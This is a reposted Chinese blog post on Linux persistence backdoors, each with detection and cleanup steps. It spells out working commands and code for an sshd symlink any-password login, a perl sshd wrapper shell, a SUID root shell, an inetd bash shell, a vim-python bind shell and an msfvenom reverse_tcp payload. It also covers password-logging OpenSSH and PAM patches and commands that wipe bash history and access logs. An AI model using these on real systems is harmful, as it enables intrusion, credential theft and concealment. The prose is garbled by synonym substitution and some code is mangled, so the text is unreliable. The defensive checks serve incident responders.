首页 » 网站推广 » php后门字段技巧_LinuxWindows权限坚持常用后门进修总结

php后门字段技巧_LinuxWindows权限坚持常用后门进修总结

访客 2024-12-09 0

扫一扫用手机浏览

文章目录 [+]

序言

在上周做的变种DDG挖矿木马-watchdogs应急相应中,攻击者利用了预加载来挟制ps、top等系统命令,没有提及详细的排查手段,借着这篇文章来详细阐明下,并总结下Linux、Windows下权限坚持中被常用的后门技能,借此来学习下。

php后门字段技巧_LinuxWindows权限坚持常用后门进修总结

PS: 所有技能细节都来源于网上文章,如有缺点,还望大佬不吝示正!

php后门字段技巧_LinuxWindows权限坚持常用后门进修总结
(图片来自网络侵删)

0x01 Linux

常见的bash、脚本措辞、操持任务、公钥、msf以及rootkit等就不详细先容了,有些像suid、inetd比较久远的,虽然不常用,但是学习下也没啥坏处。

1. 预加载型动态链接库后门

linux操作系统的动态链接库在加载过程中,动态链接器会先读取LD_PRELOAD环境变量和默认配置文件/etc/ld.so.preload,并将读取到的动态链接库文件进行预加载,纵然程序不依赖这些动态链接库,LD_PRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被装载,由于它们的优先级比LD_LIBRARY_PATH环境变量所定义的链接库查找路径的文件优先级要高,以是能够提前于用户调用的动态库载入。
这便是为什么在watchdogs挖矿木马中利用top、ps等命令无法创造挖矿进程的缘故原由,这种后门推举利用静态编译的ls、ps等命令或者busybox进行查找。

利用LD_PRELOAD

检测

echo $LD_PRELOAD#默认无输出,如果有输出就须要去看下文件是否为非常文件了

打消

unset LD_PRELOAD#利用命令unset LD_PRELOAD即可卸载利用LD_PRELOAD环境变量安装的恶意动态链接库

利用/etc/ld.so.preload

检测

1、文件完全性检测修正了默认的动态链接库后文件完全性发生变革,可以利用rpm等来校验首先获取系统中的动态链接器的文件路径(interp段指定了动态链接器的位置)readelf -a /bin/ps | grep interpreter然后判断该动态链接器文件的完全性busybox ls -al /usr/local/lib/libioset.sorpm -Vf /usr/local/lib/libioset.so2、利用stracestrace可以跟踪一个进程实行时所产生的系统调用,包括参数,返回值,实行花费的韶光和所吸收的旗子暗记strace -f -e trace=file /bin/ps-f 表示同时跟踪fork和vfork出来的进程-e trace=file 表示只跟踪有关文件操作的系统调用

打消

打消调用的对应恶意文件即可

2. strace后门

上面提到利用strace检测预加载型动态链接库后门,它可以跟踪任何进程的系统调用和数据,以是strace同样可以作为后门,比如用来记录ssh,su,sudo的数据。

首先找到sshd的进程PID

ps -ef | grep sshd #父进程PID

然后写入文件

strace -f -p 2908 -o /tmp/.ssh.log -e trace=read,write -s 2048

同样的,可以通过配置用户目录下.login配置获取ssh明文密码

#vim /etc/bashrcalias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'#su,sudo同样的道理

检测

查看shell的配置文件或者alias命令即可创造,例如~/.bashrc或~/.zshrc文件查看是否有恶意的alias

3. SSH 后门

OpenSSH后门

通过在openssh源码中插入恶意代码并进行重新编译来更换原有sshd文件。
插入的恶意代码可以是将登录成功的用户密码发送到远程做事器或者记录到某个log文件中。
在openssh目录中找到includes.h文件。

#vim includes.hint secret_ok;FILE f;#define ILOG \公众/tmp/.ilog\"大众 #记录登录到本机的用户名和密码#define OLOG \"大众/tmp/.olog\"大众 #记录本机登录到远程的用户名和密码#define SECRETPW \"大众secpulse.com\"大众 #为自己的登录密码#endif / INCLUDES_H /#编译,重启做事yum install -y openssl openssl-devel pam-devel zlib zlib-devel./configure --prefix=/usr/ --sysconfdir=/etc/ssh/ --with-pam --with-kerberos5make cleanmake && make installsystemctl restart sshd.service

PS: 如果记录日志放在web下,记得清理掉访问日志。

export HISTFILE=/dev/nullexport HISTFILESIZE=0sed -i '/192.168.2.11/d' /etc/httpd/logs/access_logsed -i '/192.168.2.11/d' /root/.bash_historyecho > /root/.bash_history

检测

1、查看Openssh版本ssh -V2、查看ssh配置文件和/usr/sbin/sshd的韶光stat /usr/sbin/sshd#韶光和版本都是可以修正的,以是不靠谱3、查看日志more /var/log/secure | grep \公众Accepted\公众 | awk '{print $11}' | uniq4、通过strace监控sshd进程读写文件的操作ps axu | grep sshd | grep -v grep #sshd父进程IDstrace -o sshd -ff -p 2908grep open sshd | grep -v -e No -e null -e denied| grep WR5、一样平常的openssh后门都会将账户密码记录到文件或者发送到邮箱中strings /usr/sbin/sshd |grep '[1-9]{1,3}.[1-9]{1,3}.'strings /usr/sbin/sshd |grep '@'

打消

重装或者更新到最新版本修正文件并重新编译

sshd软链接后门

在sshd做事配置运行PAM认证的条件下,PAM配置文件中掌握标志为sufficient时只要pam_rootok模块检测uid为0即root权限即可成功认证上岸。
通过软连接的办法,本色上PAM认证是通过软连接的文件名(如: /tmp/su,/home/su)在/etc/pam.d/目录下探求对应的PAM配置文件(如: /etc/pam.d/su),任意密码上岸的核心是auth sufficient pam_rootok.so,以是只要PAM配置文件中包含此配置即可SSH任意密码上岸,除了su中之外还有chsh、chfn同样可以。

1、做事端实行

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oport=12345ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oport=12345

2、客户端实行

ssh root@x.x.x.x -p 12345#输入任意密码就可以root用户权限上岸了,如果root用户被禁止上岸时,可以利用其他存在的用户身份上岸,比如:ubuntu

检测

1、查看可疑端口netstat -antlp2、查看可实行文件ls -al /tmp/su

打消

1、禁止PAM认证vim /etc/ssh/sshd_configUsePAM no2、重载/etc/init.d/sshd reload

wrapper后门

首先启动的是/usr/sbin/sshd,脚本实行到getpeername这里的时候,正则匹配会失落败,于是实行下一句,启动/usr/bin/sshd,这是原始sshd。
原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理详细事情。
这个子进程,没有什么考验,而是直接实行系统默认的位置的/usr/sbin/sshd,这样子掌握权又回到脚本了。
此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户真个TCP源端口,如果是19526就实行sh给个shell。

大略点便是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。

#做事端实行:cd /usr/sbinmv sshd ../binecho '#!/usr/bin/perl' > sshdecho 'exec \"大众/bin/sh\公众 if (getpeername(STDIN) =~ /^..LF/);' >>sshdecho 'exec {\"大众/usr/bin/sshd\公众} \公众/usr/sbin/sshd\公众,@ARGV,' >>sshdchmod u+x sshd/etc/init.d/sshd restart#客户端实行:socat STDIO TCP4:192.168.2.11:22,souceport=19526#个中x00x00LF是19526的大端形式,便于传输和处理。
如果你想修正源端口,可以用python的struct标准库实现>>> import struct>>> buffer = struct.pack('>I6',19526)>>> print repr(buffer)'\x00\x00LF'>>> buffer = struct.pack('>I6',13377)>>> print buffer4A

检测

检讨网络链接情形及文件cat /usr/sbin/sshd

打消

rm -rf /usr/sbin/sshd; mv /usr/bin/sshd ../sbin;

4. SUID后门

当一个文件所属主的x标志位s(set uid简称suid)时,且所属主为root时,当实行该文件时,实在因此root身份实行的。
必要条件:

1、SUID权限仅对二进制程序有效。
2、实行者对付该程序须要具有x的可实行权限3、本权限仅在实行该程序的过程中有效 4、在实行过程中实行者将具有该程序拥有者的权限

可以利用webshell进行利用

#vim suid.c#include<stdlib.h>main () {setuid(0);system(\"大众/bin/bash\"大众);}编译成二进制文件gcc suid.c -o suidshell授予suid权限chmod 4755 suidshellchmod u+s suidshell假设webshell权限较低,希望利用suid shell实行root命令,通过web的办法调用http://localhost/suid.php?path=/tmp/suidshell&cmd=id即可以root的权限实行命令id

检测

查找具有suid权限的文件即可find / -perm +4000 -lsfind / -perm -u=s -type f 2>/dev/null

打消

打消文件即可

5. inetd做事后门

inetd是一个监听外部网络要求(便是一个socket)的系统守护进程,实在有很多比较古老的做事都是基于此守护进程的。
当inetd吸收到一个外部要求后,它会根据这个要求到自己的配置文件中去找到实际处理它的程序,然后再把吸收到的这个socket交给那个程序去处理。
以是,如果我们已经在目标系统的inetd配置文件中配置好,那么来自外部的某个socket是要实行一个可交互的shell,就获取了一个后门。

#修正/etc/inetd.conf#discard stream tcp nowait root internal #discard dgram udp wait root internal daytime stream tcp nowait root /bin/bash bash -i开启inetd:inetd#nc连接nc -vv 192.168.2.11 13#可以合营suid后门#比如,修正/etc/services文件:suidshell 6666/tcp#然后修正/etc/inetd.confsuidshell stream tcp nowait root /bin/bash bash -i#可以修正成一些常见的端口,以实现隐蔽

检测

查看配置文件即可/etc/inetd.conf

打消

关闭做事删除配置文件

6. 协议后门

在一些访问掌握做的比较严格的环境中,由内到外的TCP流量会被阻断掉。
但是对付UDP(DNS、ICMP)干系流量常日不会拦截。

ICMP

紧张事理便是利用ICMP中可控的data字段进行数据传输,详细事理请参考: 小白必看!
ICMP暗藏隧道从入门到精通

开源工具:

ICMP后门项目地址https://github.com/andreafabrizi/prism

#做事端./sendPacket.py 192.168.0.1 p4ssw0rd 192.168.0.10 6666#客户端nc -l -p 6666#其他模式详情请查看详细利用语法

DNS

在大多数的网络里环境中IPS/IDS或者硬件防火墙都不会监控和过滤DNS流量。
紧张事理便是将后门载荷隐蔽在拥有PTR记录和A记录的DNS域中(也可以利用AAAA记录和IPv6地址传输后门),详细请参考:【技能分享】通过DNS传输后门来绕过杀软

开源工具:

DNS后门项目地址https://github.com/DamonMohammadbagher/NativePayload_DNS

#创建msfvenom payloadmsfvenom –-platform windows –arch x86_64 –p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.50 –f c > /root/dns/payload.txt#内容格式如下:1.1.1.0 \公众0xfc0x480x830xe40xf00xe80xcc0x000x000x000x410x510x410x500x52.1.com\"大众1.1.1.1 \"大众0x510x560x480x310xd20x650x480x8b0x520x600x480x8b0x520x180x48.1.com\"大众1.1.1.2 \公众0x8b0x520x200x480x8b0x720x500x480x0f0xb70x4a0x4a0x4d0x310xc9.1.com\公众#在系统中假造DNS做事器dnsspoof -i eth0 -f /root/dns/payload.txt#客户端运行代码syntax: NativePayload_DNS.exe \公众1.1.1.\公众 34 \"大众192.168.1.50\公众

协议后门检测

对付DNS/ICMP这种协议后门,直接查看网络连接即可,由于在利用过程中会产生大量的网络连接

打消

kill进程、删除文件即可

7. vim后门

适用于安装了vim且安装了python扩展(绝大版本默认安装)的linux系统。

cd /usr/lib/python2.7/site-packages && $(nohup vim -E -c \公众pyfile dir.py\"大众> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py

详细详情请参考:Weapons of Text Destruction

恶意脚本dir.py的内容可以是任何功能的后门,比如:

#from https://www.leavesongs.com/PYTHON/python-shell-backdoor.htmlfrom socket import import subprocessimport os, threading, sys, timeif __name__ == \"大众__main__\公众: server=socket(AF_INET,SOCK_STREAM) server.bind(('0.0.0.0',11)) server.listen(5) print 'waiting for connect' talk, addr = server.accept() print 'connect from',addr proc = subprocess.Popen([\"大众/bin/sh\"大众,\"大众-i\"大众], stdin=talk, stdout=talk, stderr=talk, shell=True)

检测

由于是通过vim实行的,以是利用ps和netstat仍可以看到vim的干系进程netstat -antlp | grep vimmore /proc/PID/cmdlinemore /proc/PID/maps | grep python

打消

#打消进程即可netstat -antlp | awk '{print $7}' | grep vim | awk -F/ '{print $1}' | xargs kill -9

8. PAM后门

PAM利用配置 /etc/pam.d/下的文件来管理认证办法,运用程序调用相应的配置文件,以加载动态库的形式调用 /lib/security下的模块。
PAM配置可分为四个参数: 模块类型、掌握标记、模块路径、模块参数,例如: session required pam_selinux.so open

上面提到的sshd软链接后门利用的PAM机制达到任意密码登录,还有一种办法是键盘记录。
事理紧张是通过pam_unix_auth.c打补丁的办法潜入到正常的pam模块中,以此来记录管理员的帐号密码。

利用步骤:

复制patch到源代码目录 >>> 打patch >>> 编译 >>> 将天生的pam_uninx.so文件覆盖到/lib/secruity/pam_unix.so下 >>> 修正文件属性 >>> 建立密码保存文件,并设置好干系的权限 >>> 清理日志 >>> ok

#确保ssh开启pam支持vim /etc/ssh/sshd_configUsePAM yes#自动化脚本https://github.com/litsand/shell/blob/master/pam.sh

检测

1、通过Strace跟踪sshps axu | grep sshdstrace -o aa -ff -p PIDgrep open aa | grep -v -e No -e null -e denied| grep WR2、检讨pam_unix.so的修正韶光stat /lib/security/pam_unix.so #32位stat /lib64/security/pam_unix.so #64位

打消

yum reinstall pam

9. 进程注入

从技能上说,获取其它的进程并修正它一样平常是通过操作系统供应的调试接口来实现的,在linux中具有调试功能的工具有ptrace、Gdb、radare2、strace等,这些工具都是利用ptrace这个别系调用来供应做事的。
ptrace系统调用许可一个进程去调试其余一个进程。

详细事理参考:

linux进程注入

linux一种无文件后门技巧

GitHub存在大量开源工具,比如: linux-inject,紧张事理是利用ptrace向进程中注入恶意so文件

#./inject [-n process-name] [-p pid] [library-to-inject]./inject -n sample-target sample-library.so

检测

利用干系检测工具

打消

kill或者重启对应的进程即可

10. Rootkit

rootkit分为内核级和运用级两种。
(这方面不太理解,后续详细学习下,就不做详细先容了...)

内核级的rootkit很多,比如:Diamorphine

运用级的rootkit大概多,比如:Mafix

Mafix是一款常用的轻量运用级别Rootkits,是通过假造ssh协议漏洞实现远程上岸的特点是配置大略并可以自定义验证密码和端口号。
运用级rookit,紧张更换ls、ps、netstat命令来隐蔽文件(利用/proc?)

检测

利用干系检测工具,比如:unhide

PS: 事宜排查结束后,能重装就重装吧,别折腾清理什么后门了。
说不定就被你没留神的一个小细节或者不知道的一个特性给坑了。

篇幅有点长,下一篇连续学习下Windows干系的。

参考文章

https://www.secpulse.com/archives/69093.html

https://www.freebuf.com/column/162604.html

https://linuxtools-rst.readthedocs.io/zh_CN/latest/tool/strace.html

http://hu3sky.ooo/2018/09/06/%E5%90%8E%E9%97%A8/

https://klionsec.github.io/

http://blackwolfsec.cc/2017/03/24/Linux_ssh_backdoor/

http://www.91ri.org/9026.html

https://pythonpig.github.io/2018/06/26/suid%E5%90%8E%E9%97%A8(suid-shell)/

https://www.secpulse.com/archives/59674.html

https://xz.aliyun.com/t/4090

https://zhuanlan.zhihu.com/p/41154036

https://www.anquanke.com/post/id/85431

https://kevien.github.io/2018/01/28/linux%E8%BF%9B%E7%A8%8B%E6%B3%A8%E5%85%A5/

https://phyb0x.github.io/2018/10/23/linux%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81-%E5%90%8E%E9%97%A8/

作者:瓦都剋

欢迎来安全脉搏查看更多的干货文章和我们一起互换互动哦!

脉搏地址:安全脉搏 | 分享技能,悦享品质

微博地址:Sina Visitor System

标签:

相关文章

phpthreaddump技巧_Java ThreadDump 生成解析

当有我们的做事器CPU资源利用率(usr%)较高时,或者是一个基于 JAVA 的 Web 运用运行的比预期慢的时候,我们须要利用...

网站推广 2024-12-15 阅读0 评论0